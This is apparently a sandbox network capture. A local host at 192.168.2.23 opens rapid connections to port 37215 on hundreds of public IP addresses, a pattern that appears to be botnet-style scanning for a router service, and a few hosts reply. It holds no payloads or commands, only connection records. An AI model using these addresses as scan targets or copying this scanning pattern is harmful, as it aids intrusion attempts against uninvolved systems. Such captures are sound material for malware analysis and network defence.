Dec 30, 2023 07:13:57.856199026 CET	3641	37215	192.168.2.23	41.104.135.233
Dec 30, 2023 07:13:57.856231928 CET	3641	37215	192.168.2.23	41.142.172.101
Dec 30, 2023 07:13:57.856231928 CET	3641	37215	192.168.2.23	156.69.136.205
Dec 30, 2023 07:13:57.856234074 CET	3641	37215	192.168.2.23	41.177.63.222
Dec 30, 2023 07:13:57.856234074 CET	3641	37215	192.168.2.23	156.115.51.228
Dec 30, 2023 07:13:57.856234074 CET	3641	37215	192.168.2.23	95.85.201.233
Dec 30, 2023 07:13:57.856234074 CET	3641	37215	192.168.2.23	41.16.129.134
Dec 30, 2023 07:13:57.856234074 CET	3641	37215	192.168.2.23	156.131.221.117
Dec 30, 2023 07:13:57.856234074 CET	3641	37215	192.168.2.23	41.224.186.31
Dec 30, 2023 07:13:57.856234074 CET	3641	37215	192.168.2.23	122.62.12.13
Dec 30, 2023 07:13:57.856234074 CET	3641	37215	192.168.2.23	41.67.130.57
Dec 30, 2023 07:13:57.856236935 CET	3641	37215	192.168.2.23	196.140.8.195
Dec 30, 2023 07:13:57.856236935 CET	3641	37215	192.168.2.23	138.224.187.54
Dec 30, 2023 07:13:57.856236935 CET	3641	37215	192.168.2.23	156.142.174.88
Dec 30, 2023 07:13:57.856236935 CET	3641	37215	192.168.2.23	197.184.55.125
Dec 30, 2023 07:13:57.856240034 CET	3641	37215	192.168.2.23	197.119.208.153
Dec 30, 2023 07:13:57.856240034 CET	3641	37215	192.168.2.23	156.190.68.95
Dec 30, 2023 07:13:57.856240034 CET	3641	37215	192.168.2.23	156.20.212.132
Dec 30, 2023 07:13:57.856240034 CET	3641	37215	192.168.2.23	41.132.61.59
Dec 30, 2023 07:13:57.856240034 CET	3641	37215	192.168.2.23	92.160.88.233
Dec 30, 2023 07:13:57.856240034 CET	3641	37215	192.168.2.23	41.116.194.78
Dec 30, 2023 07:13:57.856241941 CET	3641	37215	192.168.2.23	157.134.176.41
Dec 30, 2023 07:13:57.856241941 CET	3641	37215	192.168.2.23	41.117.73.89
Dec 30, 2023 07:13:57.856241941 CET	3641	37215	192.168.2.23	92.80.106.98
Dec 30, 2023 07:13:57.856250048 CET	3641	37215	192.168.2.23	157.13.16.30
Dec 30, 2023 07:13:57.856250048 CET	3641	37215	192.168.2.23	197.221.25.27
Dec 30, 2023 07:13:57.856250048 CET	3641	37215	192.168.2.23	41.183.16.211
Dec 30, 2023 07:13:57.856250048 CET	3641	37215	192.168.2.23	197.201.18.143
Dec 30, 2023 07:13:57.856250048 CET	3641	37215	192.168.2.23	45.43.217.244
Dec 30, 2023 07:13:57.856252909 CET	3641	37215	192.168.2.23	156.163.64.142
Dec 30, 2023 07:13:57.856252909 CET	3641	37215	192.168.2.23	41.249.230.249
Dec 30, 2023 07:13:57.856254101 CET	3641	37215	192.168.2.23	41.141.234.125
Dec 30, 2023 07:13:57.856254101 CET	3641	37215	192.168.2.23	156.77.174.68
Dec 30, 2023 07:13:57.856254101 CET	3641	37215	192.168.2.23	41.61.200.48
Dec 30, 2023 07:13:57.856254101 CET	3641	37215	192.168.2.23	197.9.149.202
Dec 30, 2023 07:13:57.856254101 CET	3641	37215	192.168.2.23	197.155.187.128
Dec 30, 2023 07:13:57.856271982 CET	3641	37215	192.168.2.23	156.138.147.146
Dec 30, 2023 07:13:57.856271982 CET	3641	37215	192.168.2.23	186.124.1.140
Dec 30, 2023 07:13:57.856271982 CET	3641	37215	192.168.2.23	41.122.214.61
Dec 30, 2023 07:13:57.856276989 CET	3641	37215	192.168.2.23	156.70.69.86
Dec 30, 2023 07:13:57.856276989 CET	3641	37215	192.168.2.23	45.83.222.113
Dec 30, 2023 07:13:57.856276989 CET	3641	37215	192.168.2.23	156.29.22.153
Dec 30, 2023 07:13:57.856276989 CET	3641	37215	192.168.2.23	41.236.111.213
Dec 30, 2023 07:13:57.856276989 CET	3641	37215	192.168.2.23	107.23.105.155
Dec 30, 2023 07:13:57.856276989 CET	3641	37215	192.168.2.23	222.205.227.151
Dec 30, 2023 07:13:57.856276989 CET	3641	37215	192.168.2.23	156.169.132.195
Dec 30, 2023 07:13:57.856276989 CET	3641	37215	192.168.2.23	95.89.168.83
Dec 30, 2023 07:13:57.856298923 CET	3641	37215	192.168.2.23	94.205.177.15
Dec 30, 2023 07:13:57.856298923 CET	3641	37215	192.168.2.23	197.78.177.164
Dec 30, 2023 07:13:57.856298923 CET	3641	37215	192.168.2.23	92.5.144.143
Dec 30, 2023 07:13:57.856298923 CET	3641	37215	192.168.2.23	197.14.179.45
Dec 30, 2023 07:13:57.856298923 CET	3641	37215	192.168.2.23	156.110.232.206
Dec 30, 2023 07:13:57.856298923 CET	3641	37215	192.168.2.23	156.250.40.26
Dec 30, 2023 07:13:57.856298923 CET	3641	37215	192.168.2.23	156.72.196.162
Dec 30, 2023 07:13:57.856298923 CET	3641	37215	192.168.2.23	197.193.253.52
Dec 30, 2023 07:13:57.856307983 CET	3641	37215	192.168.2.23	41.26.87.198
Dec 30, 2023 07:13:57.856307983 CET	3641	37215	192.168.2.23	94.107.153.222
Dec 30, 2023 07:13:57.856307983 CET	3641	37215	192.168.2.23	95.114.183.3
Dec 30, 2023 07:13:57.856307983 CET	3641	37215	192.168.2.23	197.176.131.184
Dec 30, 2023 07:13:57.856308937 CET	3641	37215	192.168.2.23	41.8.127.51
Dec 30, 2023 07:13:57.856308937 CET	3641	37215	192.168.2.23	156.43.43.1
Dec 30, 2023 07:13:57.856307983 CET	3641	37215	192.168.2.23	197.165.252.53
Dec 30, 2023 07:13:57.856308937 CET	3641	37215	192.168.2.23	41.30.216.137
Dec 30, 2023 07:13:57.856308937 CET	3641	37215	192.168.2.23	107.152.141.31
Dec 30, 2023 07:13:57.856307983 CET	3641	37215	192.168.2.23	41.61.202.175
Dec 30, 2023 07:13:57.856308937 CET	3641	37215	192.168.2.23	156.37.192.25
Dec 30, 2023 07:13:57.856307983 CET	3641	37215	192.168.2.23	181.236.223.44
Dec 30, 2023 07:13:57.856307983 CET	3641	37215	192.168.2.23	41.222.126.189
Dec 30, 2023 07:13:57.856333017 CET	3641	37215	192.168.2.23	156.171.203.85
Dec 30, 2023 07:13:57.856333017 CET	3641	37215	192.168.2.23	197.27.231.79
Dec 30, 2023 07:13:57.856333017 CET	3641	37215	192.168.2.23	222.131.173.10
Dec 30, 2023 07:13:57.856333017 CET	3641	37215	192.168.2.23	107.5.202.117
Dec 30, 2023 07:13:57.856333017 CET	3641	37215	192.168.2.23	154.224.188.6
Dec 30, 2023 07:13:57.856333017 CET	3641	37215	192.168.2.23	41.67.215.231
Dec 30, 2023 07:13:57.856333017 CET	3641	37215	192.168.2.23	156.58.156.157
Dec 30, 2023 07:13:57.856333017 CET	3641	37215	192.168.2.23	156.238.163.15
Dec 30, 2023 07:13:57.856340885 CET	3641	37215	192.168.2.23	160.3.45.114
Dec 30, 2023 07:13:57.856340885 CET	3641	37215	192.168.2.23	156.146.219.176
Dec 30, 2023 07:13:57.856352091 CET	3641	37215	192.168.2.23	37.80.210.35
Dec 30, 2023 07:13:57.856364012 CET	3641	37215	192.168.2.23	156.71.178.125
Dec 30, 2023 07:13:57.856364012 CET	3641	37215	192.168.2.23	41.27.1.41
Dec 30, 2023 07:13:57.856364012 CET	3641	37215	192.168.2.23	37.148.145.223
Dec 30, 2023 07:13:57.856364012 CET	3641	37215	192.168.2.23	95.66.87.83
Dec 30, 2023 07:13:57.856364012 CET	3641	37215	192.168.2.23	37.11.180.243
Dec 30, 2023 07:13:57.856364012 CET	3641	37215	192.168.2.23	41.97.146.252
Dec 30, 2023 07:13:57.856364012 CET	3641	37215	192.168.2.23	122.49.52.209
Dec 30, 2023 07:13:57.856364965 CET	3641	37215	192.168.2.23	41.148.135.5
Dec 30, 2023 07:13:57.856380939 CET	3641	37215	192.168.2.23	45.123.7.6
Dec 30, 2023 07:13:57.856380939 CET	3641	37215	192.168.2.23	138.172.122.55
Dec 30, 2023 07:13:57.856380939 CET	3641	37215	192.168.2.23	120.244.158.13
Dec 30, 2023 07:13:57.856380939 CET	3641	37215	192.168.2.23	41.219.93.248
Dec 30, 2023 07:13:57.856380939 CET	3641	37215	192.168.2.23	138.139.33.46
Dec 30, 2023 07:13:57.856381893 CET	3641	37215	192.168.2.23	156.241.42.2
Dec 30, 2023 07:13:57.856381893 CET	3641	37215	192.168.2.23	41.220.147.69
Dec 30, 2023 07:13:57.856381893 CET	3641	37215	192.168.2.23	121.38.31.188
Dec 30, 2023 07:13:57.856388092 CET	3641	37215	192.168.2.23	156.68.38.51
Dec 30, 2023 07:13:57.856388092 CET	3641	37215	192.168.2.23	41.10.167.254
Dec 30, 2023 07:13:57.856388092 CET	3641	37215	192.168.2.23	41.5.198.202
Dec 30, 2023 07:13:57.856388092 CET	3641	37215	192.168.2.23	197.193.163.180
Dec 30, 2023 07:13:57.856388092 CET	3641	37215	192.168.2.23	121.33.3.191
Dec 30, 2023 07:13:57.856394053 CET	3641	37215	192.168.2.23	138.245.170.182
Dec 30, 2023 07:13:57.856394053 CET	3641	37215	192.168.2.23	197.107.159.134
Dec 30, 2023 07:13:57.856394053 CET	3641	37215	192.168.2.23	41.81.155.174
Dec 30, 2023 07:13:57.856394053 CET	3641	37215	192.168.2.23	197.72.56.171
Dec 30, 2023 07:13:57.856394053 CET	3641	37215	192.168.2.23	156.179.140.32
Dec 30, 2023 07:13:57.856394053 CET	3641	37215	192.168.2.23	138.245.63.149
Dec 30, 2023 07:13:57.856394053 CET	3641	37215	192.168.2.23	196.162.242.165
Dec 30, 2023 07:13:57.856394053 CET	3641	37215	192.168.2.23	37.149.180.216
Dec 30, 2023 07:13:57.856400967 CET	3641	37215	192.168.2.23	41.218.29.115
Dec 30, 2023 07:13:57.856400967 CET	3641	37215	192.168.2.23	197.91.91.116
Dec 30, 2023 07:13:57.856400967 CET	3641	37215	192.168.2.23	160.32.166.208
Dec 30, 2023 07:13:57.856400967 CET	3641	37215	192.168.2.23	197.128.76.27
Dec 30, 2023 07:13:57.856401920 CET	3641	37215	192.168.2.23	156.181.229.216
Dec 30, 2023 07:13:57.856401920 CET	3641	37215	192.168.2.23	92.146.78.181
Dec 30, 2023 07:13:57.856401920 CET	3641	37215	192.168.2.23	41.58.65.6
Dec 30, 2023 07:13:57.856410027 CET	3641	37215	192.168.2.23	156.204.86.84
Dec 30, 2023 07:13:57.856410027 CET	3641	37215	192.168.2.23	156.106.64.123
Dec 30, 2023 07:13:57.856410027 CET	3641	37215	192.168.2.23	156.55.43.186
Dec 30, 2023 07:13:57.856410027 CET	3641	37215	192.168.2.23	122.66.60.15
Dec 30, 2023 07:13:57.856410027 CET	3641	37215	192.168.2.23	197.248.71.245
Dec 30, 2023 07:13:57.856410027 CET	3641	37215	192.168.2.23	157.140.254.193
Dec 30, 2023 07:13:57.856410027 CET	3641	37215	192.168.2.23	154.164.226.206
Dec 30, 2023 07:13:57.856410027 CET	3641	37215	192.168.2.23	121.85.246.86
Dec 30, 2023 07:13:57.856415987 CET	3641	37215	192.168.2.23	197.163.51.251
Dec 30, 2023 07:13:57.856415987 CET	3641	37215	192.168.2.23	197.193.139.192
Dec 30, 2023 07:13:57.856415987 CET	3641	37215	192.168.2.23	156.83.133.131
Dec 30, 2023 07:13:57.856415987 CET	3641	37215	192.168.2.23	156.91.230.157
Dec 30, 2023 07:13:57.856415987 CET	3641	37215	192.168.2.23	156.68.208.218
Dec 30, 2023 07:13:57.856415987 CET	3641	37215	192.168.2.23	197.212.141.199
Dec 30, 2023 07:13:57.856415987 CET	3641	37215	192.168.2.23	197.186.162.48
Dec 30, 2023 07:13:57.856415987 CET	3641	37215	192.168.2.23	156.13.61.24
Dec 30, 2023 07:13:57.856447935 CET	3641	37215	192.168.2.23	197.44.121.157
Dec 30, 2023 07:13:57.856447935 CET	3641	37215	192.168.2.23	41.6.190.201
Dec 30, 2023 07:13:57.856447935 CET	3641	37215	192.168.2.23	94.130.80.169
Dec 30, 2023 07:13:57.856447935 CET	3641	37215	192.168.2.23	94.229.71.44
Dec 30, 2023 07:13:57.856463909 CET	3641	37215	192.168.2.23	41.144.7.217
Dec 30, 2023 07:13:57.856463909 CET	3641	37215	192.168.2.23	197.24.245.149
Dec 30, 2023 07:13:57.856487989 CET	3641	37215	192.168.2.23	41.25.60.168
Dec 30, 2023 07:13:57.856487989 CET	3641	37215	192.168.2.23	197.89.79.67
Dec 30, 2023 07:13:57.856487989 CET	3641	37215	192.168.2.23	190.142.255.122
Dec 30, 2023 07:13:57.856487989 CET	3641	37215	192.168.2.23	222.169.52.156
Dec 30, 2023 07:13:57.856487989 CET	3641	37215	192.168.2.23	197.102.135.138
Dec 30, 2023 07:13:57.856487989 CET	3641	37215	192.168.2.23	41.208.252.124
Dec 30, 2023 07:13:57.856487989 CET	3641	37215	192.168.2.23	197.117.90.251
Dec 30, 2023 07:13:57.856487989 CET	3641	37215	192.168.2.23	197.64.236.80
Dec 30, 2023 07:13:57.856493950 CET	3641	37215	192.168.2.23	156.195.38.63
Dec 30, 2023 07:13:57.856493950 CET	3641	37215	192.168.2.23	41.159.120.175
Dec 30, 2023 07:13:57.856493950 CET	3641	37215	192.168.2.23	92.201.245.91
Dec 30, 2023 07:13:57.856493950 CET	3641	37215	192.168.2.23	197.72.253.69
Dec 30, 2023 07:13:57.856493950 CET	3641	37215	192.168.2.23	156.248.112.18
Dec 30, 2023 07:13:57.856493950 CET	3641	37215	192.168.2.23	138.85.131.101
Dec 30, 2023 07:13:57.856493950 CET	3641	37215	192.168.2.23	156.89.75.224
Dec 30, 2023 07:13:57.856493950 CET	3641	37215	192.168.2.23	156.5.54.3
Dec 30, 2023 07:13:57.856498957 CET	3641	37215	192.168.2.23	156.126.205.74
Dec 30, 2023 07:13:57.856498957 CET	3641	37215	192.168.2.23	41.197.49.186
Dec 30, 2023 07:13:57.856504917 CET	3641	37215	192.168.2.23	197.139.249.67
Dec 30, 2023 07:13:57.856504917 CET	3641	37215	192.168.2.23	197.225.88.183
Dec 30, 2023 07:13:57.856504917 CET	3641	37215	192.168.2.23	121.252.71.253
Dec 30, 2023 07:13:57.856504917 CET	3641	37215	192.168.2.23	41.145.123.238
Dec 30, 2023 07:13:57.856504917 CET	3641	37215	192.168.2.23	190.203.54.175
Dec 30, 2023 07:13:57.856504917 CET	3641	37215	192.168.2.23	156.198.250.136
Dec 30, 2023 07:13:57.856504917 CET	3641	37215	192.168.2.23	41.1.149.180
Dec 30, 2023 07:13:57.856504917 CET	3641	37215	192.168.2.23	41.219.105.119
Dec 30, 2023 07:13:57.856513977 CET	3641	37215	192.168.2.23	156.62.96.78
Dec 30, 2023 07:13:57.856513977 CET	3641	37215	192.168.2.23	156.211.52.245
Dec 30, 2023 07:13:57.856513977 CET	3641	37215	192.168.2.23	222.63.190.187
Dec 30, 2023 07:13:57.856513977 CET	3641	37215	192.168.2.23	197.213.180.242
Dec 30, 2023 07:13:57.856513977 CET	3641	37215	192.168.2.23	121.32.85.79
Dec 30, 2023 07:13:57.856513977 CET	3641	37215	192.168.2.23	45.200.156.179
Dec 30, 2023 07:13:57.856513977 CET	3641	37215	192.168.2.23	197.220.194.97
Dec 30, 2023 07:13:57.856513977 CET	3641	37215	192.168.2.23	41.190.134.107
Dec 30, 2023 07:13:57.856518030 CET	3641	37215	192.168.2.23	41.111.42.30
Dec 30, 2023 07:13:57.856518984 CET	3641	37215	192.168.2.23	41.186.114.194
Dec 30, 2023 07:13:57.856522083 CET	3641	37215	192.168.2.23	222.235.104.56
Dec 30, 2023 07:13:57.856522083 CET	3641	37215	192.168.2.23	41.250.78.7
Dec 30, 2023 07:13:57.856522083 CET	3641	37215	192.168.2.23	197.173.105.52
Dec 30, 2023 07:13:57.856522083 CET	3641	37215	192.168.2.23	156.163.75.232
Dec 30, 2023 07:13:57.856523037 CET	3641	37215	192.168.2.23	41.117.74.154
Dec 30, 2023 07:13:57.856522083 CET	3641	37215	192.168.2.23	156.163.139.245
Dec 30, 2023 07:13:57.856522083 CET	3641	37215	192.168.2.23	102.196.161.142
Dec 30, 2023 07:13:57.856522083 CET	3641	37215	192.168.2.23	102.197.12.61
Dec 30, 2023 07:13:57.856522083 CET	3641	37215	192.168.2.23	156.197.106.31
Dec 30, 2023 07:13:57.856544018 CET	3641	37215	192.168.2.23	197.54.169.26
Dec 30, 2023 07:13:57.856544018 CET	3641	37215	192.168.2.23	156.209.167.20
Dec 30, 2023 07:13:57.856550932 CET	3641	37215	192.168.2.23	160.14.207.188
Dec 30, 2023 07:13:57.856564999 CET	3641	37215	192.168.2.23	156.219.170.199
Dec 30, 2023 07:13:57.856570959 CET	3641	37215	192.168.2.23	94.101.228.172
Dec 30, 2023 07:13:57.856570959 CET	3641	37215	192.168.2.23	197.97.72.232
Dec 30, 2023 07:13:57.856570959 CET	3641	37215	192.168.2.23	41.195.56.239
Dec 30, 2023 07:13:57.856571913 CET	3641	37215	192.168.2.23	156.92.202.122
Dec 30, 2023 07:13:57.856570959 CET	3641	37215	192.168.2.23	156.62.178.72
Dec 30, 2023 07:13:57.856571913 CET	3641	37215	192.168.2.23	45.94.101.225
Dec 30, 2023 07:13:57.856570959 CET	3641	37215	192.168.2.23	197.120.112.155
Dec 30, 2023 07:13:57.856571913 CET	3641	37215	192.168.2.23	41.193.160.116
Dec 30, 2023 07:13:57.856571913 CET	3641	37215	192.168.2.23	94.66.161.135
Dec 30, 2023 07:13:57.856571913 CET	3641	37215	192.168.2.23	41.82.219.2
Dec 30, 2023 07:13:57.856571913 CET	3641	37215	192.168.2.23	122.213.165.105
Dec 30, 2023 07:13:57.856571913 CET	3641	37215	192.168.2.23	197.18.217.248
Dec 30, 2023 07:13:57.856584072 CET	3641	37215	192.168.2.23	156.24.60.93
Dec 30, 2023 07:13:57.856571913 CET	3641	37215	192.168.2.23	196.83.191.58
Dec 30, 2023 07:13:57.856586933 CET	3641	37215	192.168.2.23	92.128.171.212
Dec 30, 2023 07:13:57.856587887 CET	3641	37215	192.168.2.23	37.132.87.22
Dec 30, 2023 07:13:57.856587887 CET	3641	37215	192.168.2.23	41.173.1.5
Dec 30, 2023 07:13:57.856587887 CET	3641	37215	192.168.2.23	41.131.138.218
Dec 30, 2023 07:13:57.856587887 CET	3641	37215	192.168.2.23	41.73.183.136
Dec 30, 2023 07:13:57.856587887 CET	3641	37215	192.168.2.23	138.45.121.156
Dec 30, 2023 07:13:57.856587887 CET	3641	37215	192.168.2.23	41.46.31.134
Dec 30, 2023 07:13:57.856587887 CET	3641	37215	192.168.2.23	156.185.7.148
Dec 30, 2023 07:13:57.856592894 CET	3641	37215	192.168.2.23	102.74.119.62
Dec 30, 2023 07:13:57.856592894 CET	3641	37215	192.168.2.23	41.9.222.24
Dec 30, 2023 07:13:57.856592894 CET	3641	37215	192.168.2.23	222.19.123.160
Dec 30, 2023 07:13:57.856592894 CET	3641	37215	192.168.2.23	156.181.160.157
Dec 30, 2023 07:13:57.856592894 CET	3641	37215	192.168.2.23	197.243.86.86
Dec 30, 2023 07:13:57.856605053 CET	3641	37215	192.168.2.23	181.162.188.72
Dec 30, 2023 07:13:57.856620073 CET	3641	37215	192.168.2.23	41.127.209.131
Dec 30, 2023 07:13:57.856620073 CET	3641	37215	192.168.2.23	156.242.237.83
Dec 30, 2023 07:13:57.856620073 CET	3641	37215	192.168.2.23	156.140.73.37
Dec 30, 2023 07:13:57.856620073 CET	3641	37215	192.168.2.23	41.1.139.150
Dec 30, 2023 07:13:57.856620073 CET	3641	37215	192.168.2.23	156.218.11.164
Dec 30, 2023 07:13:57.856620073 CET	3641	37215	192.168.2.23	37.94.181.51
Dec 30, 2023 07:13:57.856620073 CET	3641	37215	192.168.2.23	45.19.157.232
Dec 30, 2023 07:13:57.856620073 CET	3641	37215	192.168.2.23	41.232.121.135
Dec 30, 2023 07:13:57.856637955 CET	3641	37215	192.168.2.23	156.77.47.190
Dec 30, 2023 07:13:57.856637955 CET	3641	37215	192.168.2.23	92.57.137.125
Dec 30, 2023 07:13:57.856637955 CET	3641	37215	192.168.2.23	181.115.186.137
Dec 30, 2023 07:13:57.856656075 CET	3641	37215	192.168.2.23	102.186.181.194
Dec 30, 2023 07:13:57.856656075 CET	3641	37215	192.168.2.23	181.136.210.171
Dec 30, 2023 07:13:57.856667042 CET	3641	37215	192.168.2.23	157.2.108.129
Dec 30, 2023 07:13:57.856667042 CET	3641	37215	192.168.2.23	102.239.3.27
Dec 30, 2023 07:13:57.856667042 CET	3641	37215	192.168.2.23	197.221.29.130
Dec 30, 2023 07:13:57.856667042 CET	3641	37215	192.168.2.23	154.68.190.89
Dec 30, 2023 07:13:57.856667042 CET	3641	37215	192.168.2.23	45.83.19.51
Dec 30, 2023 07:13:57.856667042 CET	3641	37215	192.168.2.23	197.193.170.215
Dec 30, 2023 07:13:57.856667042 CET	3641	37215	192.168.2.23	138.151.229.229
Dec 30, 2023 07:13:57.856667042 CET	3641	37215	192.168.2.23	197.203.145.152
Dec 30, 2023 07:13:57.856674910 CET	3641	37215	192.168.2.23	197.37.221.40
Dec 30, 2023 07:13:57.856676102 CET	3641	37215	192.168.2.23	197.74.168.135
Dec 30, 2023 07:13:57.856676102 CET	3641	37215	192.168.2.23	197.127.166.180
Dec 30, 2023 07:13:57.856676102 CET	3641	37215	192.168.2.23	156.146.132.18
Dec 30, 2023 07:13:57.856677055 CET	3641	37215	192.168.2.23	120.135.165.94
Dec 30, 2023 07:13:57.856677055 CET	3641	37215	192.168.2.23	197.255.254.85
Dec 30, 2023 07:13:57.856677055 CET	3641	37215	192.168.2.23	121.77.131.102
Dec 30, 2023 07:13:57.856677055 CET	3641	37215	192.168.2.23	154.6.183.114
Dec 30, 2023 07:13:57.856677055 CET	3641	37215	192.168.2.23	95.238.54.127
Dec 30, 2023 07:13:57.856677055 CET	3641	37215	192.168.2.23	41.52.94.214
Dec 30, 2023 07:13:57.856677055 CET	3641	37215	192.168.2.23	41.202.61.27
Dec 30, 2023 07:13:57.856678963 CET	3641	37215	192.168.2.23	41.15.124.139
Dec 30, 2023 07:13:57.856677055 CET	3641	37215	192.168.2.23	197.47.170.230
Dec 30, 2023 07:13:57.856678963 CET	3641	37215	192.168.2.23	41.81.122.68
Dec 30, 2023 07:13:57.856678963 CET	3641	37215	192.168.2.23	41.7.39.94
Dec 30, 2023 07:13:57.856678963 CET	3641	37215	192.168.2.23	120.249.169.181
Dec 30, 2023 07:13:57.856678963 CET	3641	37215	192.168.2.23	92.72.66.89
Dec 30, 2023 07:13:57.856678963 CET	3641	37215	192.168.2.23	41.5.8.96
Dec 30, 2023 07:13:57.856689930 CET	3641	37215	192.168.2.23	156.158.196.104
Dec 30, 2023 07:13:57.856689930 CET	3641	37215	192.168.2.23	197.68.202.110
Dec 30, 2023 07:13:57.856699944 CET	3641	37215	192.168.2.23	197.149.26.119
Dec 30, 2023 07:13:57.856699944 CET	3641	37215	192.168.2.23	41.187.236.155
Dec 30, 2023 07:13:57.856709003 CET	3641	37215	192.168.2.23	156.126.191.3
Dec 30, 2023 07:13:57.856709957 CET	3641	37215	192.168.2.23	197.102.206.175
Dec 30, 2023 07:13:57.856714964 CET	3641	37215	192.168.2.23	41.190.127.235
Dec 30, 2023 07:13:57.856714964 CET	3641	37215	192.168.2.23	160.105.79.116
Dec 30, 2023 07:13:57.856717110 CET	3641	37215	192.168.2.23	37.19.176.82
Dec 30, 2023 07:13:57.856729984 CET	3641	37215	192.168.2.23	156.233.40.48
Dec 30, 2023 07:13:57.856729984 CET	3641	37215	192.168.2.23	92.62.139.36
Dec 30, 2023 07:13:57.856733084 CET	3641	37215	192.168.2.23	197.113.60.211
Dec 30, 2023 07:13:57.856733084 CET	3641	37215	192.168.2.23	120.186.60.227
Dec 30, 2023 07:13:57.856734991 CET	3641	37215	192.168.2.23	41.110.181.29
Dec 30, 2023 07:13:57.856748104 CET	3641	37215	192.168.2.23	156.176.122.254
Dec 30, 2023 07:13:57.856754065 CET	3641	37215	192.168.2.23	197.144.170.240
Dec 30, 2023 07:13:57.856754065 CET	3641	37215	192.168.2.23	197.194.22.116
Dec 30, 2023 07:13:57.856754065 CET	3641	37215	192.168.2.23	102.135.173.148
Dec 30, 2023 07:13:57.856754065 CET	3641	37215	192.168.2.23	95.218.117.77
Dec 30, 2023 07:13:57.856754065 CET	3641	37215	192.168.2.23	41.253.89.89
Dec 30, 2023 07:13:57.856754065 CET	3641	37215	192.168.2.23	41.80.48.58
Dec 30, 2023 07:13:57.856754065 CET	3641	37215	192.168.2.23	197.161.169.85
Dec 30, 2023 07:13:57.856754065 CET	3641	37215	192.168.2.23	197.98.42.172
Dec 30, 2023 07:13:57.856816053 CET	57246	37215	192.168.2.23	107.148.175.73
Dec 30, 2023 07:13:57.856834888 CET	34874	37215	192.168.2.23	154.38.240.187
Dec 30, 2023 07:13:57.856834888 CET	34874	37215	192.168.2.23	154.38.240.187
Dec 30, 2023 07:13:57.856854916 CET	34882	37215	192.168.2.23	154.38.240.187
Dec 30, 2023 07:13:57.920335054 CET	37215	3641	138.40.131.243	192.168.2.23
Dec 30, 2023 07:13:57.920535088 CET	3641	37215	192.168.2.23	138.40.131.243
Dec 30, 2023 07:13:57.959331036 CET	37215	3641	190.217.165.99	192.168.2.23
Dec 30, 2023 07:13:57.984508991 CET	37215	3641	121.126.119.26	192.168.2.23
Dec 30, 2023 07:13:58.002353907 CET	37215	3641	156.59.99.10	192.168.2.23
Dec 30, 2023 07:13:58.006644011 CET	37215	3641	102.155.244.127	192.168.2.23
Dec 30, 2023 07:13:58.006686926 CET	3641	37215	192.168.2.23	102.155.244.127
Dec 30, 2023 07:13:58.007975101 CET	37215	3641	156.238.216.193	192.168.2.23
Dec 30, 2023 07:13:58.012840986 CET	37215	57246	107.148.175.73	192.168.2.23
Dec 30, 2023 07:13:58.012890100 CET	57246	37215	192.168.2.23	107.148.175.73
Dec 30, 2023 07:13:58.012979984 CET	57246	37215	192.168.2.23	107.148.175.73
Dec 30, 2023 07:13:58.012979984 CET	57246	37215	192.168.2.23	107.148.175.73
Dec 30, 2023 07:13:58.013006926 CET	57250	37215	192.168.2.23	107.148.175.73
Dec 30, 2023 07:13:58.014487028 CET	37215	3641	107.148.41.229	192.168.2.23
Dec 30, 2023 07:13:58.014769077 CET	37215	3641	102.155.244.127	192.168.2.23
Dec 30, 2023 07:13:58.040683031 CET	37215	3641	94.28.38.57	192.168.2.23
Dec 30, 2023 07:13:58.047997952 CET	37215	3641	181.236.223.44	192.168.2.23
Dec 30, 2023 07:13:58.094933033 CET	37215	3641	94.229.71.44	192.168.2.23
Dec 30, 2023 07:13:58.106606960 CET	37215	3641	37.148.145.223	192.168.2.23
Dec 30, 2023 07:13:58.134417057 CET	37215	3641	197.128.76.27	192.168.2.23
Dec 30, 2023 07:13:58.142807961 CET	37215	3641	181.115.186.137	192.168.2.23
Dec 30, 2023 07:13:58.152312040 CET	37215	3641	95.171.119.14	192.168.2.23
Dec 30, 2023 07:13:58.163768053 CET	37215	57250	107.148.175.73	192.168.2.23
Dec 30, 2023 07:13:58.270880938 CET	37215	3641	41.193.160.116	192.168.2.23
Dec 30, 2023 07:13:58.280842066 CET	57834	37215	192.168.2.23	45.138.70.146
Dec 30, 2023 07:13:58.344825983 CET	57246	37215	192.168.2.23	107.148.175.73
Dec 30, 2023 07:13:58.353626966 CET	37215	3641	41.94.206.102	192.168.2.23
Dec 30, 2023 07:13:58.495879889 CET	37215	57246	107.148.175.73	192.168.2.23
Dec 30, 2023 07:13:58.568795919 CET	57838	37215	192.168.2.23	45.138.70.146
Dec 30, 2023 07:13:58.856760025 CET	34882	37215	192.168.2.23	154.38.240.187
Dec 30, 2023 07:13:58.856766939 CET	34874	37215	192.168.2.23	154.38.240.187
Dec 30, 2023 07:13:59.164843082 CET	3641	37215	192.168.2.23	186.202.140.84
Dec 30, 2023 07:13:59.164843082 CET	3641	37215	192.168.2.23	156.81.43.31
Dec 30, 2023 07:13:59.164848089 CET	3641	37215	192.168.2.23	197.161.154.241
Dec 30, 2023 07:13:59.164860964 CET	3641	37215	192.168.2.23	181.143.112.132
Dec 30, 2023 07:13:59.164860964 CET	3641	37215	192.168.2.23	197.254.110.117
Dec 30, 2023 07:13:59.164863110 CET	3641	37215	192.168.2.23	41.126.93.244
Dec 30, 2023 07:13:59.164869070 CET	3641	37215	192.168.2.23	197.250.205.245
Dec 30, 2023 07:13:59.164879084 CET	3641	37215	192.168.2.23	156.42.10.72
Dec 30, 2023 07:13:59.164879084 CET	3641	37215	192.168.2.23	41.45.148.0
Dec 30, 2023 07:13:59.164880991 CET	3641	37215	192.168.2.23	197.3.155.30
Dec 30, 2023 07:13:59.164880991 CET	3641	37215	192.168.2.23	92.18.156.231
Dec 30, 2023 07:13:59.164885998 CET	3641	37215	192.168.2.23	122.194.19.174
Dec 30, 2023 07:13:59.164892912 CET	3641	37215	192.168.2.23	157.110.171.209
Dec 30, 2023 07:13:59.164894104 CET	3641	37215	192.168.2.23	197.71.192.30
Dec 30, 2023 07:13:59.164894104 CET	3641	37215	192.168.2.23	197.119.121.43
Dec 30, 2023 07:13:59.164894104 CET	3641	37215	192.168.2.23	156.178.163.10
Dec 30, 2023 07:13:59.164895058 CET	3641	37215	192.168.2.23	107.191.31.108
Dec 30, 2023 07:13:59.164895058 CET	3641	37215	192.168.2.23	197.151.154.240
Dec 30, 2023 07:13:59.164895058 CET	3641	37215	192.168.2.23	156.189.228.61
Dec 30, 2023 07:13:59.164895058 CET	3641	37215	192.168.2.23	41.125.25.187
Dec 30, 2023 07:13:59.164897919 CET	3641	37215	192.168.2.23	41.156.194.254
Dec 30, 2023 07:13:59.164901972 CET	3641	37215	192.168.2.23	120.112.135.228
